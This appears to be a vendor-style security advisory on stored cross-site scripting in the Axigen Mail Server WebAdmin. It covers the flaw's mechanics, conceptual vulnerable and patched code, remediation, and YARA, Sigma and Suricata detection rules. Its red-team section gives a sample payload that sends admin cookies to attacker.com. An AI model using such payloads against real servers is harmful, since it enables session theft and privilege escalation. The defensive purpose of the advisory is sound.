CVE-2025-68723

Executive Summary

CVE-2025-68723 describes multiple stored Cross-Site Scripting (XSS) vulnerabilities in the Axigen Mail Server WebAdmin interface, affecting versions prior to 10.5.57. An attacker with low-privileged administrative access can inject malicious JavaScript payloads into three distinct input fields: the log file name parameter on the Local Services Log page, certificate file content in the SSL Certificates View Usage feature, and the Certificate File name parameter in the WebMail Listeners SSL settings. When a higher-privileged administrator accesses the affected pages, the injected script executes in their browser context, enabling privilege escalation attacks. This can lead to unauthorized actions, data exfiltration, or further compromise of the mail server. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. The vendor has released a patch in version 10.5.57.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects the Axigen Mail Server, a proprietary software product. No supply chain implications are identified.

CVSS Breakdown & Threat Level

CVSS Score: 8.0 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – The attacker needs low-privileged administrative access to the WebAdmin interface.
• User Interaction (UI): Required – The victim (high-privileged admin) must visit the affected page.
• Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High – Successful exploitation can lead to full disclosure of sensitive data.
• Integrity (I): High – The attacker can modify data or perform unauthorized actions.
• Availability (A): High – The attacker could potentially disrupt service availability.

Threat Level: High. The combination of low privileges required and high impact makes this a significant threat for organizations using Axigen Mail Server.

Deep Dive & Mechanics

The vulnerability is a classic stored Cross-Site Scripting (XSS) flaw. The WebAdmin interface fails to properly sanitize user-supplied input before storing it and later rendering it in the browser. Three specific injection points have been identified:

1. Log File Name Parameter (Local Services Log page): When viewing logs, the filename parameter is not sanitized. An attacker can craft a malicious filename containing JavaScript code. When a high-privileged admin accesses the log page, the script executes.
2. Certificate File Content (SSL Certificates View Usage feature): The content of uploaded certificate files is not sanitized. An attacker can upload a certificate with embedded JavaScript. When the admin views the certificate usage, the script executes.
3. Certificate File Name Parameter (WebMail Listeners SSL settings): Similar to the log file name, the certificate filename in the SSL settings is not sanitized. An attacker can inject a malicious filename that executes when the admin views the SSL settings.

The injected JavaScript runs in the context of the admin's browser session, allowing the attacker to perform actions on behalf of the admin, such as creating new admin accounts, modifying server configurations, or exfiltrating sensitive data.

Vulnerable vs. Patched Code

The vulnerable code likely lacks proper output encoding or input validation. The patched version (10.5.57) presumably implements proper sanitization.

Vulnerable Code (Conceptual):

// Vulnerable: Directly outputs user input without sanitization
echo "<tr><td>" . $_GET['logfile'] . "</td></tr>";

Patched Code (Conceptual):

// Patched: Uses htmlspecialchars to escape HTML entities
echo "<tr><td>" . htmlspecialchars($_GET['logfile'], ENT_QUOTES, 'UTF-8') . "</td></tr>";

The exact code is proprietary, but the fix involves encoding special characters like <, >, ", ', and & to prevent script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Low-privileged admin account on Axigen Mail Server (version < 10.5.57).
• Network access to the WebAdmin interface.

Exploitation Steps:

1. Log in to the WebAdmin interface with the low-privileged account.
2. Navigate to the Local Services Log page.
3. Inject a malicious payload into the log file name parameter. For example:

   <script>alert('XSS')</script>
   

4. Save the configuration or trigger the log view.
5. Wait for a high-privileged admin to access the same page. The script executes in their browser.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Note: No public exploit code is available. The above is a conceptual example.

Blue Team

Detection Steps:

1. Monitor WebAdmin logs for unusual input patterns, especially in log file names and certificate fields.
2. Inspect HTTP requests to the WebAdmin interface for encoded JavaScript payloads.
3. Review admin activity logs for unexpected actions performed by high-privileged accounts.

Hunting Queries:

• Search for <script> tags in log file names.
• Look for base64-encoded JavaScript in certificate fields.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in parameters like logfile, certname, or certcontent.
  • Outbound connections to attacker-controlled domains from the Axigen server.
• File IOCs:
  • Log files with names containing JavaScript code.
  • Certificate files with embedded JavaScript.
• System IOCs:
  • Unexpected admin account creation.
  • Unauthorized changes to SSL settings.
  • Unusual outbound traffic from the Axigen server.

Detection Engineering

YARA Rule

rule CVE_2025_68723_Axigen_XSS {
    meta:
        description = "Detects stored XSS payloads in Axigen WebAdmin logs and certificate files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68723"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Axigen WebAdmin Stored XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in Axigen WebAdmin interface
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: axigen
detection:
    selection:
        http.method: 'POST'
        http.url: '*/WebAdmin/*'
        http.body|contains: 
            - '<script>'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in certificate fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68723 Axigen WebAdmin Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/WebAdmin/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Axigen Mail Server to version 10.5.57 or later.
2. Restrict WebAdmin access to trusted IP addresses only.
3. Review all admin accounts and remove unnecessary privileges.

Long-Term Mitigations:

1. Implement a Web Application Firewall (WAF) to filter XSS payloads.
2. Enforce strict input validation and output encoding in all web interfaces.
3. Conduct regular security audits and penetration testing.
4. Monitor logs for suspicious activity.

Workarounds (if patching is not immediately possible):

• Disable the affected features (Local Services Log, SSL Certificates View Usage, WebMail Listeners SSL settings) if not essential.
• Use a reverse proxy to sanitize input before it reaches the WebAdmin interface.

Valters IT